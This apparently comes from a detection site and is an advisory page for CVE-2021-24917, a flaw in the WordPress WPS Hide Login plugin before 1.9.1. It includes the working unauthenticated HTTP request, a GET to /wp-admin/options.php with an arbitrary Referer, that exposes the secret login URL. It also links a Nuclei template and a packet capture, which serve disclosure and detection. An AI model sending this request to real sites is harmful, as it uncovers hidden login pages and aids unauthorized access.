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CVE-2021-24917: WordPress WPS Hide Login <1.9.1 - Information Disclosure

TitleWordPress WPS Hide Login <1.9.1 - Information Disclosure
Authorakincibor
SeverityHigh
ImpactAn attacker can gain sensitive information about the WordPress site, such as the login page URL.
RemediationFixed in version 1.9.1.
CVSS Score7.5
EPSS Score0.74492
CVE IDCVE-2021-24917
CWE IDCWE-863
Tags cve2021 cve wp wordpress wp-plugin unauth wpscan wpserveur vuln

🔍 Vulnerability Description

WordPress WPS Hide Login plugin before 1.9.1 is susceptible to incorrect authorization. An attacker can obtain the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user. This reveals the secret login location.

🌐 HTTP Request

GET /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF
Connection: close
Referer: something
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24917.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24917.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A